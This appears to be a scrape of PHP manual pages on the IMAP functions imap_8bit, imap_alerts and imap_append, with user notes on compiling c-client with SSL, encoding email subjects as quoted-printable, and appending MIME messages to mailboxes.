It is because you compiled cclient without SSL support.

However. In order for me to get SquirrelMail woorking, I had to install ports/mail/imap-uw with WITHOUT_SSL=yes and same option for ports/mail/cclient. After doing this, I recompiled cclient w/o any options to get SSL support, and then installed posrt/mail/php5-imap.

This works. But if you just want SSL everywhere - install imap-uw normally, which will install cclient too. After that, install php5-imap normally as well - and you have a working system with SSL.

Hope this saves more people from wasting too much time like I just did ;)

 - Nicolai
v dot 0000000001 dot -0006398047 at vertabiz dot com 23-Jun-2005 09:01
Since this library at a whole is fairly poorly documented, and it doesn't help that there's 30-something functions, and many of the functions do the same things, I have gone through and categorized the functions.  Hopefully this will help somebody else, I know it will help me!! -Justin

CONNECTION, ERRORS & QUOTAS
===========================
imap_timeout
imap_ping
imap_open
imap_reopen
imap_close
imap_check **(fairly useless)
imap_alerts
imap_errors
imap_last_error
imap_get_quota
imap_get_quotaroot
imap_set_quota

MESSAGES - READING
==================
imap_uid
imap_msgno
imap_fetchbody
imap_fetchheader
imap_fetchstructure
imap_fetch_overview
imap_body
imap_rfc822_parse_adrlist
imap_rfc822_parse_headers

MESSAGES - WRITING
==================
imap_mail_compose
imap_mail
imap_append
imap_rfc822_write_address

MESSAGES - OPERATIONS
=====================
imap_undelete
imap_thread
imap_delete
imap_mail_copy
imap_mail_move
imap_expunge
imap_clearflag_full
imap_setflag_full

MESSAGES - DECODE/ENCODE
========================
imap_utf7_decode
imap_utf7_encode
imap_utf8
imap_8bit
imap_base64
imap_binary
imap_mime_header_decode
imap_qprint

FOLDERS
=======
imap_createmailbox
imap_deletemailbox
imap_getmailboxes
imap_mailboxmsginfo
imap_renamemailbox
imap_headers **(fairly useless)
imap_status
imap_sort
imap_search
imap_listscan

NNTP
====
imap_unsubscribe
imap_subscribe
imap_getsubscribed

Others
=============================
imap_num_msg - use imap_mailboxmsginfo()
imap_num_recent - use imap_mailboxmsginfo()
imap_header - alias of imap_headerinfo()
imap_scanmailbox - alias of imap_listscan()
imap_listsubscribed - alias of imap_lsub()
imap_listmailbox - alias of imap_list()
imap_lsub - use imap_getsubscribed()
imap_list - use imap_getmailboxes()
imap_bodystruct - not documented
imap_getacl - not documented
imap_setacl - not documented
imap_headerinfo - use imap_fetch_overview()
Anonymous 13-Apr-2005 12:13
If you are having difficulty compiling on netbsd from source and want imap support then you should know that the c-client library is compiled with kerberos support.  Unfortunately gssapi_krb5 and k5crypto is not on the system (or at least wasn't for me).  I didn't have administrative level access to add these libraries so I had to do the following.  I still have to test that it worked 100% but at least it compiled without complaining.

Comment the following segments from the configure script.

Segment 1 -- test for gssapi_krb5 library

  case gssapi_krb5 in
  c|c_r|pthread*) ;;
  *)
    if test "$ext_shared" = "yes"; then
        IMAP_SHARED_LIBADD="$IMAP_SHARED_LIBADD -lgssapi_krb5"
    else

  case gssapi_krb5 in
  c|c_r|pthread*) ;;
  *)
      LIBS="$LIBS -lgssapi_krb5"
   ;;
  esac

    fi
   ;;
  esac

Segment 2 -- test for k5crypto

  case k5crypto in
  c|c_r|pthread*) ;;
  *)
    if test "$ext_shared" = "yes"; then
        IMAP_SHARED_LIBADD="$IMAP_SHARED_LIBADD -lk5crypto"
    else

  case k5crypto in
  c|c_r|pthread*) ;;
  *)
      LIBS="$LIBS -lk5crypto"
   ;;
  esac

    fi
   ;;
  esac

BTW.  Since I was only compiling for the modules (they have suPHP so I compile all my own modules when I need them) I only dropped this in for the php configure script parameters

./configure --with-imap=shared,xxxxxx --with-kerberos=xxxxxx --with-imap-ssl

This is verified working via an imap test.  One excellent test that I located on the phpbuilder.com site.  Here it is.  Modify the address, port, protocol type, username, and password appropriately.  The post was 5 years old but the script still works fine.  The posters name was "Matthew"

<HTML>
<HEAD>
<TITLE>imap_check</TITLE>
</HEAD>
<BODY>
<?
         //check for new messages

         $mailbox = imap_open("{localhost/pop3:110}INBOX",
                 "#username#","#password#");

         // Check messages
         $check = imap_check($mailbox);
         print("<PRE>");
         print("Date most recent message : " . $check->Date);
         print("<BR>");
         print("Connection type : " . $check->Driver);
         print("<BR>");
         print("Name of the mailbox : " . $check->Mailbox);
         print("<BR>");
         print("Number of messages : " . $check->Nmsgs);
         print("<BR>");
         print("Number of recent messages : " . $check->Recent);
         print("<BR>");
         print("</PRE>");

         // show headers for messages

         $index=1;

         $header = imap_header($mailbox, $index);
         print("<PRE>");
         print("Header Date : " . $header->Date . "<BR>");
         print("Header To : " . $header->to) . "<BR>";
         print("Header From : " . $header->From . "<BR>");
         print("Header cc : " . $header->cc . "<BR>");
         print("Header ReplyTo : " . $header->ReplyTo . "<BR>");
         print("Header Subject : " . $header->Subject . "<BR></PRE>");

         print("<PRE>");
         print(imap_body($mailbox,$index));
         print("</PRE><HR>");

         imap_close($mailbox);
?>

</BODY></HTML>
seem dot iges at mail dot ee 15-Feb-2005 05:48
If you like me disvoer that "make slx" fails, but you're damn sure you've openssl installed then, it might be that the lib and include paths on your distro are different then the defaults provided in the imap-2004a (or imap-XXXXx). To modify go to dir ../imap-2004a/src/osdep/unix and edit the section (shown below) in the Makefile

# Extended flags needed for SSL.  You may need to modify.

#SSLDIR=/usr/local/ssl
SSLDIR=/etc/ssl
SSLCERTS=$(SSLDIR)/certs
SSLKEYS=$(SSLCERTS)
#SSLINCLUDE=$(SSLDIR)/include
SSLINCLUDE=/usr/include/openssl
#SSLLIB=$(SSLDIR)/lib
SSLLIB=/usr/lib

SSLCRYPTO=-lcrypto

Commented out SSLDIR, SSLINCLUDE and SSLIB are defaults and the uncommented are valid paths for Slackware (10.0/10.1).
You should also check your ld.so.conf for valid paths.
antivert 13-Jan-2005 08:55
Note that is not not necessary to disable SSL in the IMAP compile to make it work with PHP 5.0.3.

1. Compile IMAP with SSL support for your system:

cd /path/to/imap/source/
make <system type> (ldb, lnx, etc)
mkdir include
mkdir lib

2. Make links in IMAP source directory:

cd /path/to/imap/source/c-client
cp *.h ../include/
cp *.c ../lib/
cp c-client.a ../lib/libc-client.a

3. Compile PHP with SSL support,  --with-imap=/path/to/imap/source/ . If SSL support fails, you'll get a configure-time error that IMAP doesn't work. This is a lie, you just need to get SSL support working in PHP. On certain linux systems, with OpenSSL 0.9.7, this means adding --with-openssl=/usr (if the OpenSSL files are in /usr/include/openssl/) instead of the proper directory containing the OpenSSL files. For some reason, giving a parent directory makes PHP able to find the OpenSSL include files.

4. PHP should build.

Alternately, you can disable SSL during the IMAP build, as per the previous directions posted here.
amit dot gupta at prudence-india dot com 18-Nov-2004 12:44
I faced problem in compiling imap with php-5.0.2 release version. Then following commands on snapshot version solved my problem

# tar -zxvf imap-2004b.DEV.tar.Z
# cd imap-2004b.DEV.SNAP-0411051435/
# make lnp SSLTYPE=none
# cp -r /usr/local/imap-2004b.DEV.SNAP-0411051435/c-client/*.h /usr/local/imap-2004b.DEV.SNAP-0411051435/include/

# cp -r /usr/local/imap-2004b.DEV.SNAP-0411051435/c-client/*.c /usr/local/imap-2004b.DEV.SNAP-0411051435/lib/

# ln -s /usr/local/imap-2004b.DEV.SNAP-0411051435/c-client/c-client.a /usr/local/imap-2004b.DEV.SNAP-0411051435/lib/libc-client.a

# tar -zxvf php5-STABLE-200411180530.tar.gz

# cd php5-STABLE-200411180530

./configure  --with-apxs2=/usr/sbin/apxs --enable-shared --with-mod_charset --enable-force-cgi-redirect --enable-fastcgi --enable-magic-quotes --with-openssl  --with-zlib  --enable-bcmath  --enable-calendar --with-curl  --with-curlwrappers  --enable-dba   --with-gdbm --with-cdb  --with-inifile  --with-flatfile  --enable-dbase   --enable-dbx     --enable-dio --with-fam  --enable-filepro  --enable-ftp  --with-ldap  --enable-mbstring --with-mysql=/usr/include  --with-zlib-dir  --enable-shmop --enable-soap  --enable-sockets    --enable-sysvmsg   --enable-sysvsem  --enable-sysvshm  --enable-wddx --with-pic --enable-versioning  --with-pgsql --with-java=/usr/java/jdk1.5.0/  --with-imap=/usr/local/imap-2004b.DEV.SNAP-0411051435 --with-kerberos

# make

# make install

Thus, php compiled sucessufully with imap support on fedora core 1.
Pete Spicer, sleeping [at] myperch.org 17-Jul-2004 03:19
I have a pretty much stock set-up of SuSE 8.1 Personal (Apache, PHP et al built by me) and IMAP-2004 refused to build for me.

What I found was, using the make lsu (for SuSE) almost worked built I was getting odd build results, i.e. make failures.

The problem? GCC 3.2. If you don't have an older GCC available, please install one! I installed the gcc_old package from SuSE and built with the following command:

CC=gcc297 make lsu SSLTYPE=none

The result was a perfect build. So if you are getting errors, please try an earlier build of GCC.
Tomas V.V.Cox 11-May-2004 06:15
For compiling this extension without compiling imap from sources I did (this was mandrake):

Install the following rpms:
imap
imap-devel
openssl
openssl-devel
krb5
krb5-devel
pam
pam-devel

Do the trick:
# mkdir /usr/include/imap/lib
# cp /usr/lib/libc-client-PHP4.a /usr/include/imap/lib/libc-client.a

And the configure line:
./configure <options> --with-imap=/usr/include/imap --with-imap-ssl

(don't forget --enable-pear ;)


Convert an 8bit string to a quoted-printable string

  • ? IMAP 函数
  • imap_alerts ?
  • PHP Manual
  • IMAP 函数
  • Convert an 8bit string to a quoted-printable string

imap_8bit

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_8bit — Convert an 8bit string to a quoted-printable string

说明

imap_8bit(string $string): string|false

Convert an 8bit string to a quoted-printable string (according to » RFC2045, section 6.7).

参数

string

The 8bit string to convert

返回值

Returns a quoted-printable string, 或者在失败时返回 false.

参见

  • imap_qprint() - Convert a quoted-printable string to an 8 bit string

User Contributed Notes

dave at jufer dot info 27-Aug-2015 09:18
Encode a mail-subject-string to a encoded-word according to RFC2047 with awareness of special characters and total-linelength of 75.
Example: "Subject Test?" -> "=?ISO-8859-1?Q?Subject_Test=E4?="
<?php
function getSubjectEncoded($_str,$_charset='ISO-8859-1'){
    // 27.08.2015 david jufer
    // Convert an 8bit string to a encoded-word string (according to RFC2047) www.ietf.org/rfc/rfc2047.txt
    // encoded-word = "=?" charset "?" encoding "?" encoded-text "?="
    // An 'encoded-word' may not be more than 75 characters long, including 'charset', 'encoding', 'encoded-text', and delimiters.
    // The "Q" encoding is similar to the "Quoted-Printable" content-transfer-encoding defined in RFC 2045
    $ret = '';
    $str = imap_8bit($_str);
    $len = 7+strlen($_charset);
    // remove linebreaks from imap_8bit, string chunks are too long
    $str = str_replace("=\r\n",'',$str);
    // insert linebreaks at right position, be aware of special chars ("?" "=E4") do not split them
    $s = 0;
    $l = 75-$len;
    while(strlen($str)>$s){
        $ts = $s;
        if(substr($str,($s+$l)-2,1)=='='){
            $s += $l-2;
        }else if(substr($str,($s+$l)-1,1)=='='){
            $s += $l-1;
        }else{
            $s += $l;
        }
        $ret .= "\r\n".substr($str,$ts,$s-$ts);
    }
    // remove first linebreak, replace SPACES with "_"
    $ret = str_replace(' ','_',trim($ret));
    // put together encoded-word
    $ret = '=?'.$_charset.'?Q?'.str_replace("\r\n","?=\r\n =?".$_charset."?Q?",$ret)."?=";
    // rückgabe
    return $ret;
}
?>
Michael Konecny 12-Jun-2011 09:57
There is a bug in MS Exchange server, that improperly handles CRLFs. Seems like it converts both CR and LF into LF, so, instead of getting just a new line, you get TWO new lines.
The header information is then improperly parsed by the e-mail client, and is usually viewed in the message body.

This can make custom-created headers unusable.

The only way I found to get around this is to go against RFC rules for header formatting, and use only \n for new lines.

Unfortunately I haven't been able to learn the version of Exchange server where this happened, but I have the feeling that it's not just the one I was unlucky to encounter.

Hope this helps someone.
esh dot software at energiash dot com 02-Sep-2009 06:45
When producing quoted printable emails this is the right way

$subject="Subject: =?iso-8859-1?Q?". imap_8bit("áéíóú"). "?=";

and the following would do the wrong thing, because qprint over "=ED" would produce 8bit data ( í ):

$subject="Subject: =?iso-8859-1?Q?". imap_qprint("=ED"). "?=";
Anonymous 22-Jun-2008 05:25
umu's code seems to work great. BUT if you are on a Unix system you should replace all chr(13).chr(10) with just chr(10)

Works for me anyway on php5.mail() -> qmail@suse10.1 -> outlook express
roman at REMOVETHIS dot teamnet dot com dot pl 11-May-2007 04:26
Code based on k dot kozlowski at enter dot pl but for UTF-8
(the only problem i encounter is SUBJECT_ENCODED_TWICE on SPAM test with very long subject, but the same produce others MUA's)
<?
function header_quoted_printable_encode($string, $encoding='UTF-8') {

    $string = str_replace(" ", "_", trim($string)) ;
    // We need to delete "=\r\n" produced by imap_8bit() and replace '?'
    $string = str_replace("?", "=3F", str_replace("=\r\n", "", imap_8bit($string))) ;

    // Now we split by \r\n - i'm not sure about how many chars (header name counts or not?)
    $string = chunk_split($string, 73);
    // We also have to remove last unneeded \r\n :
    $string = substr($string, 0, strlen($string)-2);
    // replace newlines with encoding text "=?UTF ..."
    $string = str_replace("\r\n", "?=".HEAD_CRLF." =?".$encoding."?Q?", $string) ;

    return '=?'.$encoding.'?Q?'.$string.'?=';
}
?>
umu 28-Jan-2006 05:58
...deed.ztinmehc-ut.zrh@umuumu@hrz.tu-chemnitz.deed...

I use the following function instead of imap_8bit
when using PHP without the IMAP module,
which is based on code found in
http://www.php.net/quoted_printable_decode,
and giving (supposedly) exactly the same results as imap_8bit,
(tested on thousands of random strings containing lots
of spaces, tabs, crlf, lfcr, lf, cr and so on,
no counterexample found SO FAR:)

AND you can force a trailing space to be encoded,
as opposed to what imap_8bit does,
which I consider is a violation of RFC2045,
(see http://bugs.php.net/bug.php?id=35290)
by commenting that one central line.

<?php
function quoted_printable_encode($sText,$bEmulate_imap_8bit=true) {
  // split text into lines
  $aLines=explode(chr(13).chr(10),$sText);

  for ($i=0;$i<count($aLines);$i++) {
    $sLine =& $aLines[$i];
    if (strlen($sLine)===0) continue; // do nothing, if empty

    $sRegExp = '/[^\x09\x20\x21-\x3C\x3E-\x7E]/e';

    // imap_8bit encodes x09 everywhere, not only at lineends,
    // for EBCDIC safeness encode !"#$@[\]^`{|}~,
    // for complete safeness encode every character :)
    if ($bEmulate_imap_8bit)
      $sRegExp = '/[^\x20\x21-\x3C\x3E-\x7E]/e';

    $sReplmt = 'sprintf( "=%02X", ord ( "$0" ) ) ;';
    $sLine = preg_replace( $sRegExp, $sReplmt, $sLine );

    // encode x09,x20 at lineends
    {
      $iLength = strlen($sLine);
      $iLastChar = ord($sLine{$iLength-1});

      //              !!!!!!!!
      // imap_8_bit does not encode x20 at the very end of a text,
      // here is, where I don't agree with imap_8_bit,
      // please correct me, if I'm wrong,
      // or comment next line for RFC2045 conformance, if you like
      if (!($bEmulate_imap_8bit && ($i==count($aLines)-1)))

      if (($iLastChar==0x09)||($iLastChar==0x20)) {
        $sLine{$iLength-1}='=';
        $sLine .= ($iLastChar==0x09)?'09':'20';
      }
    }    // imap_8bit encodes x20 before chr(13), too
    // although IMHO not requested by RFC2045, why not do it safer :)
    // and why not encode any x20 around chr(10) or chr(13)
    if ($bEmulate_imap_8bit) {
      $sLine=str_replace(' =0D','=20=0D',$sLine);
      //$sLine=str_replace(' =0A','=20=0A',$sLine);
      //$sLine=str_replace('=0D ','=0D=20',$sLine);
      //$sLine=str_replace('=0A ','=0A=20',$sLine);
    }

    // finally split into softlines no longer than 76 chars,
    // for even more safeness one could encode x09,x20
    // at the very first character of the line
    // and after soft linebreaks, as well,
    // but this wouldn't be caught by such an easy RegExp
    preg_match_all( '/.{1,73}([^=]{0,2})?/', $sLine, $aMatch );
    $sLine = implode( '=' . chr(13).chr(10), $aMatch[0] ); // add soft crlf's
  }

  // join lines into text
  return implode(chr(13).chr(10),$aLines);
}
?>
hans at lintoo dot dk 22-Dec-2005 06:05
The code below this note gives a lot of trouple with SpamAssasin, to fix it you will need to encode your subject with something like this:
<?php
/**
 * Function to encode a header if necessary
 * according to RFC2047
 */
private function encodeHeader($input, $charset = 'ISO-8859-1')
{
    preg_match_all('/(\s?\w*[\x80-\xFF]+\w*\s?)/', $input, $matches);
    foreach ($matches[1] as $value) {
        $replacement = preg_replace('/([\x20\x80-\xFF])/e', '"=" . strtoupper(dechex(ord("\1")))', $value);
        $input = str_replace($value, '=?' . $charset . '?Q?' . $replacement . '?=', $input);
    }

    return wordwrap($input,75,"\n\t",true);
}
?>
hans at lintoo dot dk 04-Oct-2005 10:35
I modified nick at plumdigitalmedia dot com's note so that it may support ISO-8859-1 encoded headers:
<?php
    public function encodeSubject($string,$prefix="=?ISO-8859-1?Q?",$postfix="?=")    {
        $crlf    = "\n\t";
        $string  = preg_replace('!(\r\n|\r|\n)!', $crlf, $string) . $crlf ;
        $f[]    = '/([\000-\010\013\014\016-\037\075\177-\377])/e' ;
        $r[]    = "'=' . sprintf('%02X', ord('\\1'))" ;
        $f[]    = '/([\011\040])' . $crlf . '/e' ;
        $r[]    = "'=' . sprintf('%02X', ord('\\1')) . '" . $crlf . "'" ;
        $string  = preg_replace($f, $r, $string);
        return $prefix.trim(wordwrap($string, 70 - strlen($prefix) - strlen($postfix), ' ' . $postfix . $crlf . $prefix, true)).$postfix;
    }
?>
Regards, Hans @ http://lintoo.dk/
marco dot manngatter at ecg-leipzig dot de 15-Sep-2005 03:43
you can use the following to make a larger subject.
use the imap_qprint() function, to convert your subject.

example:
<?php

$subject .= "=?iso-8859-1?Q?" . imap_qprint($subject) . "?=";

?>
nick at plumdigitalmedia dot com 10-May-2005 08:15
This function appears to wrap lines in the middle of words, not just at whitespace, which upsets some versions of Outlook Express when used to format email body text. We've had more luck with this function:

<?

    function quoted_printable($string)
    {
        $crlf    = "\n" ;
        $string  = preg_replace('!(\r\n|\r|\n)!', $crlf, $string) . $crlf ;
        $f[]     = '/([\000-\010\013\014\016-\037\075\177-\377])/e' ;
        $r[]     = "'=' . sprintf('%02X', ord('\\1'))" ;
        $f[]     = '/([\011\040])' . $crlf . '/e' ;
        $r[]     = "'=' . sprintf('%02X', ord('\\1')) . '" . $crlf . "'" ;
        $string  = preg_replace($f, $r, $string) ;
        return trim(wordwrap($string, 70, ' =' . $crlf)) ;
    }

?>
k dot kozlowski at enter dot pl 14-Mar-2005 06:50
I had problems with encoding large subjects with polish characters. The problem was that imap_8bit() splits subject (on 75-th char) but when I add "=?ISO-8859-2?Q?" the header is too long.

This is a solution :
<?php
$subject = str_replace(" ", "_", trim($subject)) ;
// We need to delete "=\r\n" produced by imap_8bit() and replace '?'
$subject = str_replace("?", "=3F", str_replace("=\r\n", "", imap_8bit($subject))) ;
// Now we split by \r\n but with encoding text "=?ISO ..."
$subject = str_replace("\r\n", "?=\r\n =?ISO-8859-2?Q?", chunk_split($subject, 55)) ;
// We also have to remove last unneeded encoding text :
$subject = "=?ISO-8859-2?Q?" . substr($subject, 0, strlen($subject)-20) . "?=" ;
?>
rayFX 24-Jun-2004 09:14
imap_8bit seems to have a bug as it doesn't encode "?".
Had a lot of trouble to encode a mail-subject with
german umlaute with an ending "?"...

Try this:

$subject = "=?iso-8859-1?Q?" . str_replace("?","=3F",imap_8bit($tsubject_to_encode)) . "?=";
MagicalTux at FF.ST 15-Dec-2003 06:50
Reading Bully's note :
you can use the following to make a larger subject:
<?
$encoded = str_replace("=\r\n","",imap_8bit($string_to_encode));
?>
It's wrong. The header MAY NOT go over 75 chars per line.

The right solution :
<?
$encoded = rtrim( str_replace( "\n","\n\t", imap_8bit ($string_to_encode)))."\r\n";
?>

It will add \t at the start of the encoded new lines.
Mailers to see the lines after Subject: as extensions of this header.
php dot net at werner-ott dot de 09-Dec-2002 02:45
A comment on the "split-after-75-characters" phenomenon:

By splitting lines up after 75 characters, the function's behaviour is complying to RFC2047 (http://www.ietf.org/rfc/rfc2047.txt) (which specifies a protocol for the representation of non-ASCII text in message headers), section "2. Syntax of encoded-words".

A so called 'encoded word' has the following format:

   encoded-word = "=?" charset "?" encoding "?" encoded-text "?="

An 'encoded-word' may not be more than 75 characters long, including 'charset', 'encoding', 'encoded-text', and delimiters.  If it is desirable to encode more text than will fit in an 'encoded-word' of 75 characters, multiple 'encoded-word's (separated by CRLF SPACE) may be used.

hth
WOT
bully at newearth dot de 24-Apr-2002 07:48
you can use the following to make a larger subject:

$encoded = str_replace("=\r\n","",imap_8bit($string_to_encode));
zuffa at isdd dot sk 23-Sep-2000 08:57
Warning !
This function splits input text into
several lines aligned to 75 characters.
This is critical when you need input
text to be only one striaght line as
e.g. in e-mail header values.


Returns all IMAP alert messages that have occurred

  • ? imap_8bit
  • imap_append ?
  • PHP Manual
  • IMAP 函数
  • Returns all IMAP alert messages that have occurred

imap_alerts

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_alerts — Returns all IMAP alert messages that have occurred

说明

imap_alerts(): array|false

Returns all of the IMAP alert messages generated since the last imap_alerts() call, or the beginning of the page.

When imap_alerts() is called, the alert stack is subsequently cleared. The IMAP specification requires that these messages be passed to the user.

参数

此函数没有参数。

返回值

Returns an array of all of the IMAP alert messages generated or false if no alert messages are available.

参见

  • imap_errors() - Returns all of the IMAP errors that have occurred

User Contributed Notes

There are no user contributed notes for this page.


Append a string message to a specified mailbox

  • ? imap_alerts
  • imap_base64 ?
  • PHP Manual
  • IMAP 函数
  • Append a string message to a specified mailbox

imap_append

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_append — Append a string message to a specified mailbox

说明

imap_append(
IMAP\Connection $imap,
string $folder,
string $message,
?string $options = null,
?string $internal_date = null
): bool

Appends a string message to the specified folder.

参数

imap

IMAP\Connection 实例。

folder

The mailbox name, see imap_open() for more information

Warning

Passing untrusted data to this parameter is insecure, unless imap.enable_insecure_rsh is disabled.

message

The message to be append, as a string

When talking to the Cyrus IMAP server, you must use "\r\n" as your end-of-line terminator instead of "\n" or the operation will fail

options

If provided, the options will also be written to the folder

internal_date

If this parameter is set, it will set the INTERNALDATE on the appended message. The parameter should be a date string that conforms to the rfc2060 specifications for a date_time value.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 imap 参数接受 IMAP\Connection 实例，之前接受有效的 imap resource。
8.0.0 | options and internal_date are now nullable.

示例

Example #1 imap_append() example

<?php
$imap = imap_open("{imap.example.org}INBOX.Drafts", "username", "password");

$check = imap_check($imap);
echo "Msg Count before append: ". $check->Nmsgs . "\n";

imap_append($imap, "{imap.example.org}INBOX.Drafts"
, "From: me@example.com\r\n"
. "To: you@example.com\r\n"
. "Subject: test\r\n"
. "\r\n"
. "this is a test message, please ignore\r\n"
);

$check = imap_check($imap);
echo "Msg Count after append : ". $check->Nmsgs . "\n";

imap_close($imap);
?>

User Contributed Notes

scott at threeam dot com dot au 13-Dec-2018 10:02
From my testing today, if using PHPMailer to send to an Exchange based IMAP server with an attachment or embedded image greater than 7kb, you will need to change the line returns from unix format to windows format. I simply did a string replace on '\n' and replaced with '\r\n' to get this done.

$content =  str_replace("\n", "\r\n", $mail->getSentMIMEMessage());
$result = imap_append($imapStream, $path, $content);
Mime email format example 14-Aug-2017 09:22
Mime message example (smtp telnet DATA example):

From: from@ccc.cc
To: to@@ccc.cc
Subject: Example Email
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="MixedBoundaryString"

--MixedBoundaryString
Content-Type: multipart/related; boundary="RelatedBoundaryString"

--RelatedBoundaryString
Content-Type: multipart/alternative; boundary="AlternativeBoundaryString"

--AlternativeBoundaryString
Content-Type: text/plain;charset="utf-8"
Content-Transfer-Encoding: quoted-printable

This is the plain text part of the email.

--AlternativeBoundaryString
Content-Type: text/html;charset="utf-8"
Content-Transfer-Encoding: quoted-printable

<html>
  <body>=0D
    <img src=3D=22cid:masthead.png=40ccc.cc=22 width 800 height=3D80=
 =5C>=0D
    <p>This is the html part of the email.</p>=0D
    <img src=3D=22cid:logo.png=40ccc.cc=22 width 200 height=3D60 =5C=
>=0D
  </body>=0D
</html>=0D

--AlternativeBoundaryString--

--RelatedBoundaryString
Content-Type: image/jpgeg;name="logo.png"
Content-Transfer-Encoding: base64
Content-Disposition: inline;filename="logo.png"
Content-ID: <logo.png@ccc.cc>

amtsb2hiaXVvbHJueXZzNXQ2XHVmdGd5d2VoYmFmaGpremxidTh2b2hydHVqd
dWkgb2l1b3NydGhpdXRvZ2hqdWlyb2h5dWd0aXJlaHN1aWhndXNpaHhidnVqZ
a25qbW9nNXRwbF0nemVycHpvemlnc3k5aDZqcm9wdHo7amlodDhpOTA4N3U5
LGZ2cDBbZWRzcm85eWo1Zmtsc2xrZ3g=

--RelatedBoundaryString
Content-Type: image/jpgeg;name="masthead.png"
Content-Transfer-Encoding: base64
Content-Disposition: inline;filename="masthead.png"
Content-ID: <masthead.png@ccc.cc>

aXR4ZGh5Yjd1OHk3MzQ4eXFndzhpYW9wO2tibHB6c2tqOTgwNXE0aW9qYWJ6aX
dGlmOTA0cW05dGkwbWk0OXQwYVttaXZvcnBhXGtsbGo7emt2c2pkZnI7Z2lwb2F
eXN6dWdoeXhiNzhuZzdnaHQ3eW9zemlqb2FqZWt0cmZ1eXZnamhka3JmdDg3aXV2dWd5aGVidXdz
dhyuhehe76YTGSFGA=

--RelatedBoundaryString--

--MixedBoundaryString
Content-Type: application/pdf;name="Invoice_1.pdf"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;filename="Invoice_1.pdf"

aGZqZGtsZ3poZHVpeWZoemd2dXNoamRibngganZodWpyYWRuIHVqO0hmSjtyRVVPIEZSO05SVURF
SEx1aWhudWpoZ3h1XGh1c2loZWRma25kamlsXHpodXZpZmhkcnVsaGpnZmtsaG
a2psajY1ZWxqanNveHV5ZXJ3NTQzYXRnZnJhZXdhcmV0eXRia2xhanNueXVpNjRv

--MixedBoundaryString
Content-Type: application/pdf;name="SpecialOffer.pdf"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;filename="SpecialOffer.pdf"

aXBvY21odWl0dnI1dWk4OXdzNHU5NTgwcDN3YTt1OTQwc3U4NTk1dTg0dTV5OG
cS0zNHU4NTk0eWI4OTcwdjg5MHE4cHV0O3BvYTt6dWI7dWlvenZ1em9pdW51dD
OTViOHk5cDV3dTh5bnB3dWZ2OHQ5dTh2cHVpO2p2Ymd1eTg5MGg3ajY4bjZ2ODl1ZGlvcjQ1amts
dfnhgjdfihn=

--MixedBoundaryString--

.

// Or you can download from
https://www.phpclasses.org/browse/file/14672.html
nanomoow at gmail dot com 20-Aug-2016 06:38
// this works for me, better version :].
<?php
$fn = 'filename.zip';
$IMAPhost = 'imap.hostname.com';
// IMAP port 143, 995 or POP3 port 110, 995
$IMAPport = '143';
$IMAPssl = 'tls';
$IMAP = '{'.$IMAPhost.':'.$IMAPport.'/imap/'.$IMAPssl.'/novalidate-cert}';
$IMAPuser = 'hello@hostname.com';
$msg ='Message text <h1 style="color: #093"> Hello </h1>';
// imap email and password
$ibox = imap_open($IMAP, $_SESSION['email'], $_SESSION['pass']);
$dmy=date("Y-m-d H:i:s");
// pack file contents
$attachment = chunk_split(base64_encode(file_get_contents('tmp/'.$fn)));

        $boundary1 = "###".md5(microtime())."###";
        $boundary2 = "###".md5(microtime().rand(99,999))."###";
        imap_append($ibox, $IMAP."Send"
                      , "From: Hello <".$IMAPuser.">\r\n"
            . "To: ".$email."\r\n"
            . "Date: $dmy\r\n"
            . "Subject: ".quoted_printable_encode($sub)."\r\n"
                . "MIME-Version: 1.0\r\n"
                . "Content-Type: multipart/mixed; boundary=\"$boundary1\"\r\n"
                . "\r\n\r\n"
                . "--$boundary1\r\n"
                . "Content-Type: multipart/alternative; boundary=\"$boundary2\"\r\n"
                . "\r\n\r\n"
                // ADD Plain text data
                . "--$boundary2\r\n"
                . "Content-Type: text/plain; charset=\"utf-8\"\r\n"
                . "Content-Transfer-Encoding: quoted-printable\r\n"
                . "\r\n\r\n"
                . $msg."\r\n"
                . "\r\n\r\n"
                // ADD Html content
                . "--$boundary2\r\n"
                . "Content-Type: text/html; charset=\"utf-8\"\r\n"
                . "Content-Transfer-Encoding: quoted-printable \r\n"
                . "\r\n\r\n"
                . html_entity_decode($msg)."\r\n"
                . "\r\n\r\n"
                . "--$boundary2\r\n"
                . "\r\n\r\n"
                // ADD attachment(s)
                . "--$boundary1\r\n"
                . "Content-Type: image/gif; name=\"$fn\"\r\n"
                . "Content-Transfer-Encoding: base64\r\n"
                . "Content-Disposition: attachment; filename=\"$fn\"\r\n"
                . "\r\n\r\n"
                . $attachment
                . "\r\n\r\n"
                . "--$boundary1--\r\n\r\n"
        );

// nigdy wi?cej takich dziwactw :) ble..
?>
nanomoow at gmail dot com 19-Aug-2016 08:15
$fn = 'filename.zip';
$IMAPhost = 'imap.hostname.com';
// IMAP port 143, 995 or POP3 port 110, 995
$IMAPport = '143';
$IMAPssl = 'tls';
$IMAP = '{'.$IMAPhost.':'.$IMAPport.'/imap/'.$IMAPssl.'/novalidate-cert}';
$IMAPuser = 'hello@hostname.com';
$msg ='Message text <h1 style="color: #093"> Hello </h1>';
// imap email and password
$ibox = imap_open($IMAP, $_SESSION['email'], $_SESSION['pass']);
$dmy=date("Y-m-d H:i:s");
// pack file contents
$attachment = chunk_split(base64_encode(file_get_contents('tmp/'.$fn)));
$boundary = "------=".md5(uniqid(rand()));
imap_append($ibox, $IMAP."Send"
            , "From: Hello <".$IMAPuser.">\r\n"
            . "To: ".$email."\r\n"
            . "Date: $dmy\r\n"
            . "Subject: ".$sub."\r\n"
                     . "MIME-Version: 1.0\r\n"
                . "Content-Type: multipart/mixed; boundary=\"$boundary\"\r\n"
                . "\r\n\r\n"
                . "--$boundary\r\n"
                . "Content-Type: text/html;\r\n\tcharset=\"utf-8\"\r\n"
                . "Content-Transfer-Encoding: 8bit \r\n"
                . "\r\n\r\n"
            . html_entity_decode($msg)."\r\n"
                . "\r\n\r\n"
                . "--$boundary\r\n"
                . "Content-Transfer-Encoding: base64\r\n"
                . "Content-Disposition: attachment; filename=\"$fn\"\r\n"
                . "\r\n" . $attachment . "\r\n"
                . "\r\n\r\n\r\n"
                . "--$boundary--\r\n\r\n"
);
Krzysiek 15-May-2015 12:18
